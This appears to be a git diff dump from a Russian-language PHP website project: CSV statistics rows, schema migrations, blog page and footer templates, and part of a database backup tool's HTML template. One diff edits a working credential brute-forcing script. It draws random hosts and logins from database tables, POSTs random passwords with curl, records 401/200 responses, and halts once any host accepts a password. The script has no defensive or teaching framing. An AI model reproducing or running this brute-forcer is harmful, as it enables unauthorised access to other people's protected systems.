|
1671138000;15;4;;16.12.2022.csv;
|
||||||
1665090000;24;3;3;
|
1663448400;4;2;;18.09.2022.csv;
|
||||||
1657659600;5;5;4;
|
1675717200;5;1;;07.02.2023.csv;
|
||||||
1664312400;6;3;3;
|
1658869200;1;1;;27.07.2022.csv;
|
||||||
1662757200;1;1;1;
|
1666558800;2;1;;24.10.2022.csv;
|
||||||
1665003600;1;1;1;
|
1667422800;2;2;;03.11.2022.csv;
|
||||||
1660856400;6;6;3;
|
1672606800;99;8;;02.01.2023.csv;
|
||||||
1675544400;132;5;3;
|
1672779600;450;6;;04.01.2023.csv;
|
||||||
1658437200;5;4;1;
|
1676581200;7;1;;17.02.2023.csv;
|
||||||
1656709200;21;3;3;
|
1664053200;2;2;;25.09.2022.csv;
|
||||||
1672347600;13;2;4;
|
1676754000;1;1;;19.02.2023.csv;
|
||||||
1675630800;48;4;5;
|
1665090000;24;3;;07.10.2022.csv;
|
||||||
1674594000;1;1;1;
|
1657659600;5;5;;13.07.2022.csv;
|
||||||
1656536400;2;2;2;
|
1664312400;6;3;;28.09.2022.csv;
|
||||||
1666040400;2;2;1;
|
1662757200;1;1;;10.09.2022.csv;
|
||||||
1657486800;3;3;3;
|
1665003600;1;1;;06.10.2022.csv;
|
||||||
1664139600;6;4;4;
|
1660856400;6;6;;19.08.2022.csv;
|
||||||
|
1675544400;132;5;;05.02.2023.csv;
|
||||||
|
1658437200;5;4;;22.07.2022.csv;
|
||||||
|
1656709200;21;3;;02.07.2022.csv;
|
||||||
|
1672347600;13;2;;30.12.2022.csv;
|
||||||
|
1675630800;48;4;;06.02.2023.csv;
|
||||||
|
1674594000;1;1;;25.01.2023.csv;
|
||||||
|
1656536400;2;2;;30.06.2022.csv;
|
||||||
|
1666040400;2;2;;18.10.2022.csv;
|
||||||
|
1657486800;3;3;;11.07.2022.csv;
|
||||||
|
1664139600;6;4;;26.09.2022.csv;
|
||||||
|
|
|
|
@ -15,10 +15,10 @@ function gen_random($minlen, $maxlen){
|
||||||
//делаем случайную длину
|
//делаем случайную длину
|
||||||
$len=rand($minlen, $maxlen);
|
$len=rand($minlen, $maxlen);
|
||||||
$arr = array(
|
$arr = array(
|
||||||
//'!', '@', '#', '$', '%', '^', '&', '*', '(', ')',
|
//'!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '-', '_', '{', '}', '[', ']', '+', '?','|',
|
||||||
//'А', 'Б', 'В', 'Г', 'Д', 'Е', 'Ё', 'Ж', 'З', 'И', 'Й', 'К', 'Л', 'М', 'Н', 'О', 'П', 'Р', 'С', 'Т', 'У', 'Ф', 'Х', 'Ц', 'Ч', 'Ш', 'Щ', 'Ъ', 'Ы', 'Ь', 'Э', 'Ю', 'Я',
|
//'А', 'Б', 'В', 'Г', 'Д', 'Е', 'Ё', 'Ж', 'З', 'И', 'Й', 'К', 'Л', 'М', 'Н', 'О', 'П', 'Р', 'С', 'Т', 'У', 'Ф', 'Х', 'Ц', 'Ч', 'Ш', 'Щ', 'Ъ', 'Ы', 'Ь', 'Э', 'Ю', 'Я',
|
||||||
//'а', 'б', 'в', 'г', 'д', 'е', 'ё', 'х', 'з', 'и', 'й', 'к', 'л', 'м', 'н', 'о', 'п', 'р', 'с', 'т', 'у', 'ф', 'х', 'ц', 'ч', 'ш', 'щ', 'ъ', 'ы', 'ь', 'э', 'ю', 'я',
|
//'а', 'б', 'в', 'г', 'д', 'е', 'ё', 'х', 'з', 'и', 'й', 'к', 'л', 'м', 'н', 'о', 'п', 'р', 'с', 'т', 'у', 'ф', 'х', 'ц', 'ч', 'ш', 'щ', 'ъ', 'ы', 'ь', 'э', 'ю', 'я',
|
||||||
'A', 'B', 'C', 'D', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'R', 'S', 'T', 'U', 'V', 'X', 'Y', 'Z',
|
//'A', 'B', 'C', 'D', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'R', 'S', 'T', 'U', 'V', 'X', 'Y', 'Z',
|
||||||
//'a','b','c','d','e','f', 'g','h','i','j','k','l','m','n','o','p','r','s','t','u','v','x','y','z',
|
//'a','b','c','d','e','f', 'g','h','i','j','k','l','m','n','o','p','r','s','t','u','v','x','y','z',
|
||||||
'1','2','3','4','5','6','7','8','9','0');
|
'1','2','3','4','5','6','7','8','9','0');
|
||||||
$pass = "";
|
$pass = "";
|
||||||
|
@ -45,11 +45,11 @@ function findtxt($txt, $str){
|
||||||
function brut($login='admin', $pwd=123, $host='localhost'){
|
function brut($login='admin', $pwd=123, $host='localhost'){
|
||||||
$url = $host; // url, на который отправляется запрос
|
$url = $host; // url, на который отправляется запрос
|
||||||
|
|
||||||
$post_data = [ // поля нашего запроса
|
/* $post_data = [ // поля нашего запроса
|
||||||
'field1' => 'val_1',
|
'field1' => 'val_1',
|
||||||
'field2' => 'val_2',
|
'field2' => 'val_2',
|
||||||
];
|
];
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
$headers = [
|
$headers = [
|
||||||
|
@ -59,56 +59,58 @@ function brut($login='admin', $pwd=123, $host='localhost'){
|
||||||
$post_data = http_build_query($post_data);
|
$post_data = http_build_query($post_data);
|
||||||
|
|
||||||
$curl = curl_init();
|
$curl = curl_init();
|
||||||
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 10);
|
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 120);
|
||||||
curl_setopt($curl, CURLOPT_TIMEOUT, 10); //timeout in seconds
|
curl_setopt($curl, CURLOPT_TIMEOUT, 120); //timeout in seconds
|
||||||
|
|
||||||
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
|
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
|
||||||
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
|
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
|
||||||
curl_setopt($curl, CURLOPT_VERBOSE, 1);
|
curl_setopt($curl, CURLOPT_VERBOSE, 1);
|
||||||
curl_setopt($curl, CURLOPT_POSTFIELDS, $post_data);
|
//curl_setopt($curl, CURLOPT_POSTFIELDS, $post_data);
|
||||||
curl_setopt($curl, CURLOPT_URL, $url);
|
curl_setopt($curl, CURLOPT_URL, $url);
|
||||||
curl_setopt($curl, CURLOPT_POST, true); // true - означает, что отправляется POST запрос
|
curl_setopt($curl, CURLOPT_POST, true); // true - означает, что отправляется POST запрос
|
||||||
$result = trim(curl_exec($curl));
|
$result = trim(curl_exec($curl));
|
||||||
|
|
||||||
|
|
||||||
$http_code = curl_getinfo($curl, CURLINFO_RESPONSE_CODE);
|
$http_code = curl_getinfo($curl, CURLINFO_RESPONSE_CODE);
|
||||||
|
echo $http_code . "\n";
|
||||||
$res['http']=$http_code;
|
$res['http']=$http_code;
|
||||||
//echo $http_code;
|
//echo $http_code;
|
||||||
|
|
||||||
if (findtxt($http_code, '401')==1) $res['res']='bad';
|
if (findtxt($http_code, '401')==1) $res['res']='bad';
|
||||||
if (findtxt($http_code, '200')==1) $res['res']='good';
|
if (findtxt($http_code, '200')==1) $res['res']='good';
|
||||||
|
curl_close($curl);
|
||||||
return $res;
|
return $res;
|
||||||
|
|
||||||
//if ($result=='Unauthorized') return 'bad'; else return 'good';
|
//if ($result=='Unauthorized') return 'bad'; else return 'good';
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
for($i = 0; $i < 1500; $i++){
|
for($i = 0; $i < 500; $i++){
|
||||||
$password = gen_random(5, 15);
|
$password = gen_random(7, 9);
|
||||||
//Берем рандомный хост
|
//Берем рандомный хост
|
||||||
$host = DB::getValue( 'SELECT `host` FROM `brut_hosts` ORDER BY RAND() LIMIT 1');
|
$host = DB::getValue( 'SELECT `host` FROM `brut_hosts` ORDER BY RAND() LIMIT 1');
|
||||||
//Берем рандомный login
|
//Берем рандомный login
|
||||||
$login = DB::getValue( 'SELECT `login` FROM `brut_logins` ORDER BY RAND() LIMIT 1');
|
$login = DB::getValue( 'SELECT `login` FROM `brut_logins` ORDER BY RAND() LIMIT 1');
|
||||||
//узнаем буртили ли такой пароль...
|
//узнаем буртили ли такой пароль...
|
||||||
$id1=DB::getValue("SELECT `id` FROM `brut_pwd` WHERE `pwd`=?", $password);
|
//$id1=DB::getValue("SELECT `id` FROM `brut_pwd` WHERE `pwd`=?", $password);
|
||||||
if (!$id1)DB::add("INSERT INTO `brut_pwd` (`pwd`, `md5`) VALUES(?, ?)", array($password, md5($password)));
|
//if (!$id1)DB::add("INSERT INTO `brut_pwd` (`pwd`, `md5`) VALUES(?, ?)", array($password, md5($password)));
|
||||||
|
|
||||||
|
|
||||||
|
//Проверяем осмысленность действий
|
||||||
|
|
||||||
$id=DB::getValue("SELECT `id` FROM `brut_bad_pwd` WHERE `host`=? AND `login`=? AND `pwd`=?", array($host, $login, $password));
|
$check200=DB::getValue("SELECT `id` FROM `brut_bad_pwd` WHERE `host`=? AND `code`=?", array($host, '200'));
|
||||||
|
if ($check200)break;
|
||||||
|
$id=DB::getValue("SELECT `id` FROM `brut_bad_pwd` WHERE `host`=? AND `login`=? AND `pwd`=? AND `code`=?", array($host, $login, $password, '401'));
|
||||||
if (!$id){
|
if (!$id){
|
||||||
$res=brut($login, $password, $host);
|
$res=brut($login, $password, $host);
|
||||||
|
echo $res['http'] . "\n";
|
||||||
|
if (strlen($res['http'])==3)DB::add("INSERT INTO `brut_bad_pwd` (`host`, `login`, `pwd`, `code`) VALUES(?, ?, ?, ?)", array($host, $login, $password, $res['http']));
|
||||||
|
|
||||||
if ($res['res']='good') {
|
|
||||||
DB::add("INSERT INTO `brut_good` (`host`, `login`, `pwd`) VALUES(?, ?, ?)", array($host, $login, $password));
|
|
||||||
die('pwd: ' . $password);
|
|
||||||
}else{
|
|
||||||
if ($res['http'])DB::add("INSERT INTO `brut_bad_pwd` (`host`, `login`, `pwd`, `http`) VALUES(?, ?, ?, ?)", array($host, $login, $password, $res['http']));
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
unset($id);
|
unset($id);
|
||||||
|
sleep(5);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
DB::set("DELETE FROM `brut_bad_pwd` WHERE `code`='400'");
|
||||||
|
|
||||||
?>
|
?>
|
|
@ -58,6 +58,16 @@
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
\DB::set("CREATE TABLE IF NOT EXISTS `rss` (
|
||||||
|
`id` INTEGER PRIMARY KEY NOT NULL,
|
||||||
|
`user_id` INTEGER,
|
||||||
|
`link` TEXT,
|
||||||
|
`rss` TEXT,
|
||||||
|
`txt` TEXT,
|
||||||
|
`srok` TEXT,
|
||||||
|
`partner` TEXT,
|
||||||
|
|
||||||
|
FOREIGN KEY (`user_id`) REFERENCES `users` (`id`));");
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
@ -162,6 +172,7 @@
|
||||||
`alias` TEXT,
|
`alias` TEXT,
|
||||||
`status` TEXT,
|
`status` TEXT,
|
||||||
`category` INTEGER,
|
`category` INTEGER,
|
||||||
|
`comment` INTEGER,
|
||||||
`user_id` INTEGER,
|
`user_id` INTEGER,
|
||||||
FOREIGN KEY (`user_id`) REFERENCES `users` (`id`));");
|
FOREIGN KEY (`user_id`) REFERENCES `users` (`id`));");
|
||||||
|
|
||||||
|
@ -313,6 +324,7 @@
|
||||||
\DB::alterTable("ALTER TABLE `users` ADD `spasibo` TEXT");
|
\DB::alterTable("ALTER TABLE `users` ADD `spasibo` TEXT");
|
||||||
\DB::alterTable("ALTER TABLE `pages` ADD `reyt` INTEGER");
|
\DB::alterTable("ALTER TABLE `pages` ADD `reyt` INTEGER");
|
||||||
\DB::alterTable("ALTER TABLE `pages` ADD `see` INTEGER");
|
\DB::alterTable("ALTER TABLE `pages` ADD `see` INTEGER");
|
||||||
|
\DB::alterTable("ALTER TABLE `pages` ADD `comment` INTEGER");
|
||||||
|
|
||||||
// \DB::alterTable("ALTER TABLE `tovar_brand` ADD `description` TEXT");
|
// \DB::alterTable("ALTER TABLE `tovar_brand` ADD `description` TEXT");
|
||||||
|
|
||||||
|
|
|
@ -18,6 +18,7 @@
|
||||||
<li><a href="">Портфолио</a></li>
|
<li><a href="">Портфолио</a></li>
|
||||||
<li><a href="https://git.yurecnt.ru" target="_blank" rel="nofollow">Мой Git</a></li>
|
<li><a href="https://git.yurecnt.ru" target="_blank" rel="nofollow">Мой Git</a></li>
|
||||||
<li><a href="/user/1">Не много обо мне</a></li>
|
<li><a href="/user/1">Не много обо мне</a></li>
|
||||||
|
<li><a href="/page/22">Продвигайте свой сайт через RSS!</a></li>
|
||||||
<li><a href="/page/19">О Куках</a></li>
|
<li><a href="/page/19">О Куках</a></li>
|
||||||
</ul>
|
</ul>
|
||||||
</div>
|
</div>
|
||||||
|
@ -25,7 +26,7 @@
|
||||||
<h4>Помощь проекту</h4>
|
<h4>Помощь проекту</h4>
|
||||||
<ul>
|
<ul>
|
||||||
<li><a href="/page/20">Самая примитивная и скучная</a></li>
|
<li><a href="/page/20">Самая примитивная и скучная</a></li>
|
||||||
<li><a href="">Пишем полезные статьи</a></li>
|
<li><a href="/page/21">Пишем полезные статьи</a></li>
|
||||||
<li><a href="">Сделайте ссылку! =)</a></li>
|
<li><a href="">Сделайте ссылку! =)</a></li>
|
||||||
<li><a href="">Пишем код вместе!</a></li>
|
<li><a href="">Пишем код вместе!</a></li>
|
||||||
</ul>
|
</ul>
|
||||||
|
|
|
@ -1,6 +1,4 @@
|
||||||
{include file=$header title={$page[0].title}}
|
{include file=$header title={$page[0].title}}
|
||||||
|
|
||||||
|
|
||||||
<!-- Page info -->
|
<!-- Page info -->
|
||||||
<div class="page-info-section set-bg" data-setbg="img/page-bg/3.jpg">
|
<div class="page-info-section set-bg" data-setbg="img/page-bg/3.jpg">
|
||||||
<div class="container" style="position: absolute; margin-top:215px; margin-left: auto; margin-right: auto; left: 0; right: 0;">
|
<div class="container" style="position: absolute; margin-top:215px; margin-left: auto; margin-right: auto; left: 0; right: 0;">
|
||||||
|
@ -21,8 +19,6 @@
|
||||||
<a href="/blog_edit/"><i class="fa-regular fa-square-plus" title="Создать статью" style="font-size: 22pt;"></i></a>
|
<a href="/blog_edit/"><i class="fa-regular fa-square-plus" title="Создать статью" style="font-size: 22pt;"></i></a>
|
||||||
{if ($smarty.session.user_id==$page[0].user_id)}
|
{if ($smarty.session.user_id==$page[0].user_id)}
|
||||||
<a href="/blog_edit/{$page[0].id}"><i class="fa-solid fa-pen-to-square" style="font-size: 22pt; margin-left: 10px;" title="Изменить страницу"></i></a>
|
<a href="/blog_edit/{$page[0].id}"><i class="fa-solid fa-pen-to-square" style="font-size: 22pt; margin-left: 10px;" title="Изменить страницу"></i></a>
|
||||||
|
|
||||||
|
|
||||||
<a href="/blog_moder_comments/{$page[0].id}"><i class="fa-sharp fa-solid fa-comment-dots" style="font-size: 22pt; color:red; margin-left: 10px;" title="Модерировать коментарии"></i></a>
|
<a href="/blog_moder_comments/{$page[0].id}"><i class="fa-sharp fa-solid fa-comment-dots" style="font-size: 22pt; color:red; margin-left: 10px;" title="Модерировать коментарии"></i></a>
|
||||||
{/if}
|
{/if}
|
||||||
</div>
|
</div>
|
||||||
|
@ -30,24 +26,15 @@
|
||||||
{/if}
|
{/if}
|
||||||
<div class="container" style="margin-top: 60px;">
|
<div class="container" style="margin-top: 60px;">
|
||||||
<h1 class="text-center" style="font-size: 22pt;">{$page[0].title}</h1>
|
<h1 class="text-center" style="font-size: 22pt;">{$page[0].title}</h1>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="container mt-3" style="border: 1px solid lightgray; border-radius: 5px; padding-top: 10px; padding-bottom: 10px;">
|
<div class="container mt-3" style="border: 1px solid lightgray; border-radius: 5px; padding-top: 10px; padding-bottom: 10px;">
|
||||||
|
|
||||||
<div class="row">
|
<div class="row">
|
||||||
<div class="col-sm-4">
|
<div class="col-sm-4">
|
||||||
<img src="/img/{$smarty.server.SERVER_NAME}/ava/{$autor[0].ava}" style="width: 100%" class="mb-3">
|
<img src="/img/{$smarty.server.SERVER_NAME}/ava/{$autor[0].ava}" style="width: 100%" class="mb-3">
|
||||||
|
|
||||||
{if ({$autor[0].soc_vk})}<a href="{$autor[0].soc_vk}" rel="nofollow" target="_blank"><img src="/img/{$smarty.server.SERVER_NAME}/soc/soc_vk_color.png" style="width: 30px;"></a>{/if}
|
{if ({$autor[0].soc_vk})}<a href="{$autor[0].soc_vk}" rel="nofollow" target="_blank"><img src="/img/{$smarty.server.SERVER_NAME}/soc/soc_vk_color.png" style="width: 30px;"></a>{/if}
|
||||||
{if ({$autor[0].soc_ok})}<a href="{$autor[0].soc_ok}" rel="nofollow" target="_blank"><img src="/img/{$smarty.server.SERVER_NAME}/soc/soc_ok_color.png" style="width: 30px;"></a>{/if}
|
{if ({$autor[0].soc_ok})}<a href="{$autor[0].soc_ok}" rel="nofollow" target="_blank"><img src="/img/{$smarty.server.SERVER_NAME}/soc/soc_ok_color.png" style="width: 30px;"></a>{/if}
|
||||||
{if ({$autor[0].soc_ig})}<a href="{$autor[0].soc_ig}" rel="nofollow" target="_blank"><img src="/img/{$smarty.server.SERVER_NAME}/soc/soc_ig.png" style="width: 30px;"></a>{/if}
|
{if ({$autor[0].soc_ig})}<a href="{$autor[0].soc_ig}" rel="nofollow" target="_blank"><img src="/img/{$smarty.server.SERVER_NAME}/soc/soc_ig.png" style="width: 30px;"></a>{/if}
|
||||||
{if ({$autor[0].soc_dz})}<a href="{$autor[0].soc_dz}" rel="nofollow" target="_blank"><img src="/img/{$smarty.server.SERVER_NAME}/soc/soc_dz.png" style="width: 30px;"></a>{/if}
|
{if ({$autor[0].soc_dz})}<a href="{$autor[0].soc_dz}" rel="nofollow" target="_blank"><img src="/img/{$smarty.server.SERVER_NAME}/soc/soc_dz.png" style="width: 30px;"></a>{/if}
|
||||||
|
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
<div class="col-sm-8">
|
<div class="col-sm-8">
|
||||||
<h3 style="font-size: 18pt;" class="mb-3">Информация об авторе</h3>
|
<h3 style="font-size: 18pt;" class="mb-3">Информация об авторе</h3>
|
||||||
|
@ -55,29 +42,25 @@
|
||||||
<p>{$autor[0].about|substr:200}</p>
|
<p>{$autor[0].about|substr:200}</p>
|
||||||
<p>{$autor[0].dostup}</p>
|
<p>{$autor[0].dostup}</p>
|
||||||
<hr>
|
<hr>
|
||||||
|
|
||||||
<p>Все статьи автора {$pageskolvo}</p>
|
<p>Все статьи автора {$pageskolvo}</p>
|
||||||
<p>Благодарности: <span style="margin-left: 10px;" id="user_spasibo">{$autor[0].spasibo}</span> <i class="fa-regular fa-thumbs-up likeup" style="font-size: 12pt;margin-left: 10px; cursor: pointer;" data-id="{$autor[0].id}" data-elem="#user-spasibo" data-tip="user_spasibo"></i></p>
|
<p>Благодарности: <span style="margin-left: 10px;" id="user_spasibo">{$autor[0].spasibo}</span> <i class="fa-regular fa-thumbs-up likeup" style="font-size: 12pt;margin-left: 10px; cursor: pointer;" data-id="{$autor[0].id}" data-elem="#user-spasibo" data-tip="user_spasibo"></i></p>
|
||||||
<p>Рейтинг: <span style="margin-left: 10px;" id="user-reyt">{$autor[0].reyt}</span> <i class="fa-regular fa-thumbs-up likeup" data-id="{$autor[0].id}" data-elem="#user-reyt" data-tip="user_reyt" style="font-size: 12pt; margin-left: 10px; cursor: pointer;"></i></p>
|
<p>Рейтинг: <span style="margin-left: 10px;" id="user-reyt">{$autor[0].reyt}</span> <i class="fa-regular fa-thumbs-up likeup" data-id="{$autor[0].id}" data-elem="#user-reyt" data-tip="user_reyt" style="font-size: 12pt; margin-left: 10px; cursor: pointer;"></i></p>
|
||||||
|
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<!-- Page info end -->
|
<!-- Page info end -->
|
||||||
<article class="container mt-3">
|
<article class="container mt-3">
|
||||||
{$page[0].txt}
|
{$page[0].txt}
|
||||||
<hr>
|
<hr>
|
||||||
<p>Рейтинг: <span style="margin-left: 10px;" id="page-reyt">{$page[0].reyt}</span> <i class="fa-regular fa-thumbs-up likeup" data-id="{$page[0].id}" data-elem="#page-reyt" data-tip="page_reyt" style="font-size: 12pt; margin-left: 10px; cursor: pointer;"></i></p>
|
<p>Рейтинг: <span style="margin-left: 10px;" id="page-reyt">{$page[0].reyt}</span>
|
||||||
|
<i class="fa-regular fa-thumbs-up likeup" data-id="{$page[0].id}" data-elem="#page-reyt" data-tip="page_reyt" style="font-size: 12pt; margin-left: 10px; cursor: pointer;"></i>
|
||||||
|
<span style="margin-left: 10px;">{$see}</span>
|
||||||
|
<i class="fa-solid fa-eye" style="font-size: 12pt; margin-left: 10px;"></i>
|
||||||
|
</p>
|
||||||
<p>Обновлено: {$page[0].t|t}</p>
|
<p>Обновлено: {$page[0].t|t}</p>
|
||||||
</article>
|
</article>
|
||||||
|
{if ($page[0].comment==1)}
|
||||||
|
|
||||||
<div class="container mt-3" style="border: 1px solid lightgray; border-radius: 5px; padding-top: 10px; padding-bottom: 10px;">
|
<div class="container mt-3" style="border: 1px solid lightgray; border-radius: 5px; padding-top: 10px; padding-bottom: 10px;">
|
||||||
|
|
||||||
{if ($smarty.session.user_id)}
|
{if ($smarty.session.user_id)}
|
||||||
<form id="add_comment" action="/act/page" method="post">
|
<form id="add_comment" action="/act/page" method="post">
|
||||||
<input type="hidden" name="page_id" value="{$smarty.get.id}">
|
<input type="hidden" name="page_id" value="{$smarty.get.id}">
|
||||||
|
@ -90,19 +73,11 @@
|
||||||
</form>
|
</form>
|
||||||
{/if}
|
{/if}
|
||||||
<hr>
|
<hr>
|
||||||
|
|
||||||
<div class="row">
|
<div class="row">
|
||||||
|
|
||||||
|
|
||||||
{section name=customer loop=$comments} {if $comments[customer].id}
|
{section name=customer loop=$comments} {if $comments[customer].id}
|
||||||
|
|
||||||
|
|
||||||
<div class="col-sm-2 comment-{$comments[customer].id}">
|
<div class="col-sm-2 comment-{$comments[customer].id}">
|
||||||
<img src="/img/{$smarty.server.SERVER_NAME}/ava/{$comments[0].ava}" style="width: 100%" class="mb-3">
|
<img src="/img/{$smarty.server.SERVER_NAME}/ava/{$comments[0].ava}" style="width: 100%" class="mb-3">
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<div class="col-sm-10 comment-{$comments[customer].id}">
|
<div class="col-sm-10 comment-{$comments[customer].id}">
|
||||||
<p><b>{$comments[customer].fio} - {$comments[customer].t|t}</b></p>
|
<p><b>{$comments[customer].fio} - {$comments[customer].t|t}</b></p>
|
||||||
<p>{$comments[customer].txt}</p>
|
<p>{$comments[customer].txt}</p>
|
||||||
|
@ -112,14 +87,8 @@
|
||||||
<p><i class="fa-solid fa-trash moder" data-id="{$comments[customer].id}" data-tip="del" style="font-size: 12pt; margin-left:10px; color: red; cursor: pointer;"></i></p>
|
<p><i class="fa-solid fa-trash moder" data-id="{$comments[customer].id}" data-tip="del" style="font-size: 12pt; margin-left:10px; color: red; cursor: pointer;"></i></p>
|
||||||
{/if}
|
{/if}
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
|
||||||
{/if} {/section}
|
{/if} {/section}
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
|
{/if}
|
||||||
|
|
||||||
{include file=$footer}
|
{include file=$footer}
|
|
@ -0,0 +1,402 @@
|
||||||
|
<?php
|
||||||
|
// Templates
|
||||||
|
function sxd_tpl_page(){
|
||||||
|
global $SXD;
|
||||||
|
return <<<HTML
|
||||||
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|
||||||
|
<title>{$SXD->name}</title>
|
||||||
|
<link rel="stylesheet" type="text/css" href="{$SXD->url}load.php?sxd.v209pro.css">
|
||||||
|
<script type="text/javascript" src="{$SXD->url}load.php?sxd.v209pro.js"></script>
|
||||||
|
<script type="text/javascript" src="{$SXD->url}load.php?{$SXD->LNG['name']}.v209pro.lng.js"></script>
|
||||||
|
<link rel="shortcut icon" href="{$SXD->url}load.php?favicon.v209pro.ico">
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body>
|
||||||
|
<div id="main_div">
|
||||||
|
<div id="header">{$SXD->name}</div>
|
||||||
|
<div id="sxdToolbar"></div>
|
||||||
|
<div id="name"><div id="loading"></div><b></b></div>
|
||||||
|
<div id="content" class="content">
|
||||||
|
<table cellspacing="0" id="tab_backup">
|
||||||
|
<tr>
|
||||||
|
<td width="242" valign="top">
|
||||||
|
<div class="caption">{$SXD->LNG['combo_db']}</div><div id="backup_db"></div>
|
||||||
|
<div class="caption">{$SXD->LNG['combo_charset']}</div><div id="backup_charset"></div>
|
||||||
|
<div class="caption">{$SXD->LNG['combo_zip']}</div><div id="backup_zip"></div>
|
||||||
|
<div class="caption">{$SXD->LNG['combo_comments']}</div>
|
||||||
|
<div class="border"><textarea cols="10" rows="3" id="backup_comment"></textarea></div>
|
||||||
|
<div class="caption" style="margin-top:7px;">
|
||||||
|
<fieldset><legend>{$SXD->LNG['del_legend']}</legend>
|
||||||
|
<div class="caption"> – {$SXD->LNG['del_date']}</div>
|
||||||
|
<div class="caption"> – {$SXD->LNG['del_count']}</div>
|
||||||
|
</fieldset>
|
||||||
|
</div>
|
||||||
|
<div class="caption" style="margin-top:7px;">
|
||||||
|
<fieldset><legend>{$SXD->LNG['ext_legend']}</legend>
|
||||||
|
<div class="caption"><label><input type="checkbox" id="outfile"> {$SXD->LNG['outfile']}</label></div>
|
||||||
|
<!--<div class="caption"><label><input type="checkbox" id="utf"> Convert &#1000; to UTF-8</label></div>-->
|
||||||
|
</fieldset>
|
||||||
|
</div>
|
||||||
|
</td>
|
||||||
|
<td width="308" valign="top">
|
||||||
|
<div class="caption">{$SXD->LNG['tree']}</div><div id=backup_tree class="zTree"></div>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
<tr><td></td><td align="right"><input type="button" value="{$SXD->LNG['btn_save']}" onclick="sxd.showDialog('savejob');z('sj_name').value = sxd.combos.backup_db.value;"> <input type="button" value="{$SXD->LNG['btn_exec']}" onclick="sxd.runBackup();"></td></tr>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
<table cellspacing="0" id="tab_restore" style="display:none;">
|
||||||
|
<tr>
|
||||||
|
<td width="242" valign="top">
|
||||||
|
<div class="caption">{$SXD->LNG['combo_db']}</div><div id="restore_db"></div>
|
||||||
|
<div class="caption">{$SXD->LNG['combo_charset']}</div><div id="restore_charset"></div>
|
||||||
|
<div class="caption">{$SXD->LNG['combo_file']}</div><div id="restore_file"></div>
|
||||||
|
<div class="caption">{$SXD->LNG['combo_comments']}</div>
|
||||||
|
<div class="border"><textarea cols="10" rows="3" id="restore_comment" readonly></textarea></div>
|
||||||
|
<div class="caption">{$SXD->LNG['combo_strategy']}</div><div id="restore_type"></div>
|
||||||
|
<div class="caption" style="margin-top:1px;">
|
||||||
|
<fieldset><legend>{$SXD->LNG['ext_legend']}</legend>
|
||||||
|
<div class="caption"><label><input type="checkbox" id="correct"> {$SXD->LNG['correct']}</label></div>
|
||||||
|
<div class="caption"><label><input type="checkbox" id="autoinc"> {$SXD->LNG['autoinc']}</label></div>
|
||||||
|
<div class="caption"><input type="checkbox" id="prefix" onclick="sxd.getPrefix();"> {$SXD->LNG['prefix']}</div>
|
||||||
|
</fieldset>
|
||||||
|
</div>
|
||||||
|
</td>
|
||||||
|
<td width="308" valign="top">
|
||||||
|
<div class="caption">{$SXD->LNG['tree']}</div><div id=restore_tree class="zTree"></div>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
<tr><td><input type="button" value="{$SXD->LNG['savesql']}" onclick="sxd.runRestore(1);" style="float:left;" id="savesql"></td><td align="right"><input type="button" value="{$SXD->LNG['btn_save']}" onclick="sxd.showDialog('savejob');z('sj_name').value = sxd.combos.restore_db.value;" id=restore_savejob> <input type="button" value="{$SXD->LNG['btn_exec']}" onclick="sxd.runRestore();" id=restore_runjob></td></tr>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
<table cellspacing="0" id="tab_log" style="display:none;">
|
||||||
|
<tr>
|
||||||
|
<td valign="top" colspan=2>
|
||||||
|
<div id=sxdGrid1></div>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
<tr><td colspan=2>
|
||||||
|
<table class=progress>
|
||||||
|
<tr><td>{$SXD->LNG['status_current']}</td><td><div id="sxdProc1"></div></td><td width=60>{$SXD->LNG['time_elapsed']}</td><td width=40 align=right id="sxdTime1">00:00</td></tr>
|
||||||
|
<tr><td>{$SXD->LNG['status_total']}</td><td><div id="sxdProc2"></div></td><td>{$SXD->LNG['time_left']}</td><td align=right id="sxdTime2">00:00</td></tr>
|
||||||
|
</table>
|
||||||
|
</td></tr>
|
||||||
|
<tr><td width="152"><input type="button" value="{$SXD->LNG['btn_clear']}" onclick="sxd.log.clear();"></td><td width="380" align="right">
|
||||||
|
<input type="button" value="{$SXD->LNG['btn_download']}" id="btn_down" onclick="sxd.runFiles('download', this.file);" style="display:none;">
|
||||||
|
<input type="button" value="{$SXD->LNG['btn_again']}" id="btn_again" onclick="sxd.runAgain();" disabled>
|
||||||
|
<input type="button" value="{$SXD->LNG['btn_stop']}" id="btn_stop" onclick="sxd.stopJob();" disabled>
|
||||||
|
